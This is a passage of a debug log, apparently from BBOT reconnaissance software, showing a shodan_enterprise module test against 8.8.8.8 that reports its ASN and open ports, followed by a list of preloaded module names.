_scan_egress +2026-03-01 16:59:21,831 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-01 16:59:21,832 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-01 16:59:21,833 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-01 16:59:21,833 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-03-01 16:59:21,833 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-01 16:59:21,833 [DEBUG] bbot base.py:111 Starting scan +2026-03-01 16:59:21,972 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_z1d36bw767 +2026-03-01 16:59:21,972 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-03-01 16:59:22,086 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-03-01 16:59:22,087 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-01 16:59:22,087 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-01 16:59:22,088 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-03-01 16:59:22,189 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:59:22,191 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:59:22,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:59:22,192 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) passed post-check +2026-03-01 16:59:22,193 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) +2026-03-01 16:59:22,194 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:59:22,195 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:59:22,195 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'distance-1'}) in-scope because its main host matches the scan target +2026-03-01 16:59:22,197 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:59:22,198 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:59:22,198 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:59:22,199 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 16:59:22,199 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:59:22,200 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-01 16:59:22,200 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-01 16:59:22,206 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:59:22,207 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 16:59:22,207 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:59:22,208 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:59:22,208 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-03-01 16:59:22,209 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-03-01 16:59:22,209 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-03-01 16:59:22,209 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 16:59:22,210 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:59:22,308 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-01 16:59:22,310 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-01 16:59:22,310 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:dc3e9e6f2b5089fed01c8087c713d902c9c7db85', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-01 16:59:22,311 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-03-01 16:59:22,311 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-01 16:59:22,312 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:59:22,313 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:59:22,313 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:59:22,313 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,314 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,315 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-01 16:59:22,315 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:59:22,316 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:59:22,316 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:59:22,317 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:59:22,317 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,317 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,317 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,318 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,318 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,319 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:59:22,320 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-01 16:59:22,320 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-03-01 16:59:22,321 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,321 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,321 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,322 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,322 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,323 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,324 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-01 16:59:22,324 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,325 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,325 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,326 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,326 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,326 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,327 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,327 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:59:22,328 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,328 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,328 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,329 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,329 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:59:22,330 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,330 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,331 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-01 16:59:22,331 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-01 16:59:22,413 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-03-01 16:59:22,415 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-01 16:59:22,416 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:59:22,416 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,417 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:59:22,417 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,418 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-03-01 16:59:22,418 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-01 16:59:22,419 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-01 16:59:22,420 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-01 16:59:22,420 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-01 16:59:22,421 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-01 16:59:22,421 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-03-01 16:59:22,422 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-01 16:59:22,422 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-01 16:59:22,423 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-01 16:59:22,523 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-01 16:59:22,524 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-03-01 16:59:22,543 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-01 16:59:22,544 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-01 16:59:22,544 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-01 16:59:22,551 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-01 16:59:22,552 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-03-01 16:59:22,553 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-01 16:59:22,554 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-03-01 16:59:22,554 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-03-01 16:59:22,555 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-03-01 16:59:22,670 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_z1d36bw767 completed in 0 seconds with status FINISHED +2026-03-01 16:59:22,670 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-01 16:59:22,671 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-03-01 16:59:22,672 [CRITICAL] bbot test_module_shodan_enterprise.py:56 Found 1 ASN events +2026-03-01 16:59:22,672 [HUGEINFO] bbot test_module_shodan_enterprise.py:62 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-03-01 16:59:22,673 [CRITICAL] bbot test_module_shodan_enterprise.py:99 Found 2 TCP PORT events: ['8.8.8.8:53', '8.8.8.8:443'] +2026-03-01 16:59:22,673 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:102 ✓ Open TCP port 53 detected +2026-03-01 16:59:22,673 [CRITICAL] bbot test_module_shodan_enterprise.py:107 Found 1 UDP PORT events: ['8.8.8.8:53'] +2026-03-01 16:59:22,673 [HUGESUCCESS] bbot test_module_shodan_enterprise.py:110 ✓ Open UDP port 53 detected +2026-03-01 16:59:22,673 [CRITICAL] bbot test_module_shodan_enterprise.py:114 Found 0 VULNERABILITY events +2026-03-01 16:59:22,674 [HUGEWARNING] bbot test_module_shodan_enterprise.py:117 Vulnerabilities: {} +2026-03-01 17:02:59,177 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-03-01 17:02:59,179 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-03-01 17:02:59,189 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-01 17:02:59,189 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-01 17:02:59,190 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-01 17:02:59,191 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-01 17:02:59,192 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-01 17:02:59,192 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-01 17:02:59,193 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-01 17:02:59,194 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-01 17:02:59,195 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-01 17:02:59,195 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-01 17:02:59,196 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-01 17:02:59,200 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-01 17:02:59,201 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-01 17:02:59,202 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-01 17:02:59,203 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-01 17:02:59,204 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-01 17:02:59,204 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-01 17:02:59,205 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-01 17:02:59,206 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-01 17:02:59,207 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-01 17:02:59,207 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-01 17:02:59,208 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-01 17:02:59,209 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-01 17:02:59,209 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-01 17:02:59,210 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-01 17:02:59,211 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-01 17:02:59,212 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-01 17:02:59,212 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-01 17:02:59,213 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-01 17:02:59,213 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-01 17:02:59,214 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-01 17:02:59,215 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-01 17:02:59,215 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-01 17:02:59,216 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-01 17:02:59,217 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-01 17:02:59,218 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-01 17:02:59,218 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-01 17:02:59,223 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-01 17:02:59,224 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-01 17:02:59,225 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-01 17:02:59,226 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-01 17:02:59,227 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-01 17:02:59,228 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-01 17:02:59,228 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-01 17:02:59,229 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-01 17:02:59,230 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-01 17:02:59,230 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-01 17:02:59,232 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-01 17:02:59,233 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-01 17:02:59,234 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-01 17:02:59,235 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-01 17:02:59,235 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-01 17:02:59,236 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-01 17:02:59,237 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-01 17:02:59,237 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-01 17:02:59,238 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-01 17:02:59,238 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-01 17:02:59,239 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-01 17:02:59,240 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-01 17:02:59,240 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-01 17:02:59,241 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-01 17:02:59,242 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-01 17:02:59,242 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-01 17:02:59,243 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-01 17:02:59,244 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-01 17:02:59,245 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-01 17:02:59,246 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-01 17:02:59,247 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-01 17:02:59,247 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-01 17:02:59,248 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-01 17:02:59,249 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-01 17:02:59,249 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-01 17:02:59,250 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-01 17:02:59,250 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-01 17:02:59,251 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-01 17:02:59,251 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-01 17:02:59,252 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-01 17:02:59,253 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-01 17:02:59,253 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-01 17:02:59,254 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-01 